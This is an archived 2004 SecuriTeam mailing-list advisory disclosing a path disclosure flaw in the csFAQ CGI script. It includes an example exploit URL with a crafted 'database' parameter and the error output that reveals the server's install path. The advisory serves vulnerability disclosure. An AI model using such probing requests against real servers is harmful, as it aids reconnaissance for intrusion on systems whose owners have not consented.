

[UNIX] csFAQ Path Disclosure

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2004-07/0034.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 07/12/04

To: list@securiteam.com

Date: 12 Jul 2004 16:29:07 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

csFAQ Path Disclosure

SUMMARY

<<http://www.cgiscript.net/>> csFAQ is "an automated system for displaying FAQs (frequently asked questions) written by CGI Scripts". A vulnerability in csFAQ allows remote attacker to reveal the path under which the product has been installed.

DETAILS

A path disclosure vulnerability in the csFAQ product allows a remote user to determine the full path to the web root directory and other potentially sensitive information.

Exploit:

By submitting the following URL:

<http://www.attack.com/cgi-script/csFAQ/csFAQ.cgi?command=viewFAQ&database=/.darkbicho> the following error response is returned:

```
/www/attack/cgi-script/csFAQ//%2f%2edarkbicho
Content-type: text/html
Software error:
1 at csFAQ.cgi line 1117.
```

Securiteam: [UNIX] csFAQ Path Disclosure

From this an attacker can determine the path under which the csFAQ has been installed.

ADDITIONAL INFORMATION

The information has been provided by <mailto:darkbicho@peru.com>
DarkBicho.

The original article can be found at:

<<http://www.swp-zone.org/archivos/advisory-08.txt>>

<http://www.swp-zone.org/archivos/advisory-08.txt>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.